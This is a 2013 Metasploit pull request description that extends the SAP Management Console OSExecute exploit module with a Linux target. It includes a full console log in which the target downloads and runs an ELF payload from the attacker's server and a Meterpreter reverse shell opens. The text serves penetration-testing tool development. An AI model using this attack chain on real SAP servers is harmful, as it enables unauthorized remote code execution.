rapid7/metasploit-framework — pull request #1819 by jvazquez-r7 (2013-05-12 13:55:10+00:00)
Title: Sap mgmt con osexec payload multi

This module converts modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb in a multi platform exploit by adding a new Linux Target.

Remote platform auto detection is possible with the GetEnvironment. I've not been able to add an Automatic target cleanly atm because of the next:

* The module uses the Msf::Exploit::Remote::HttpServer mixin.
* The mixin above redefines regenerate_payload, in order to use it for new clients, which isn't the purpose here.
* Tried to call generate_single_payload from Exploit directly but no success atm.

Because of the exposed above, the autotarget, at this moment is limited to a check of the remote platform, and warn the user if the selected target doesn't fit the auto detection (letting him to run the exploit anyway, since auto detection could fail I dont want to stop the user from his intended exploit action).

* Result:

```
msf exploit(sap_mgmt_con_osexec_payload) > check
[+] The target is vulnerable.
msf exploit(sap_mgmt_con_osexec_payload) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.179:50013 - Auto Detecting Remote Platform...
msf exploit(sap_mgmt_con_osexec_payload) > [+] 192.168.172.179:50013 - Linux successfully detected...
[*] 192.168.172.179:50013 - Starting up our web service on http://192.168.172.1:8080/ihWAhKHiZSvZm ...
[*] Using URL: http://0.0.0.0:8080/ihWAhKHiZSvZm
[*] Local IP: http://192.168.0.6:8080/ihWAhKHiZSvZm
[*] 192.168.172.179:50013 - Asking the SAP Management Console to download http://192.168.172.1:8080/ihWAhKHiZSvZm
[*] 192.168.172.179:50013 - Sending the payload to the server...
[*] 192.168.172.179:50013 - Waiting for the victim to request the ELF payload...
[*] 192.168.172.179:50013 - Asking the SAP Management Console to chmod /tmp/nhmpnemk
[*] 192.168.172.179:50013 - Asking the SAP Management Console to execute /tmp/nhmpnemk
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.172.179
[*] Meterpreter session 6 opened (192.168.172.1:4444 -> 192.168.172.179:50240) at 2013-05-12 08:29:45 -0500
[+] Deleted /tmp/nhmpnemk

```

* On the other hand, this pull request also deprecates the original module modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb in order to not delete it until a reasonable time, since maybe people is using the current module actually and we don't want to break user experience :)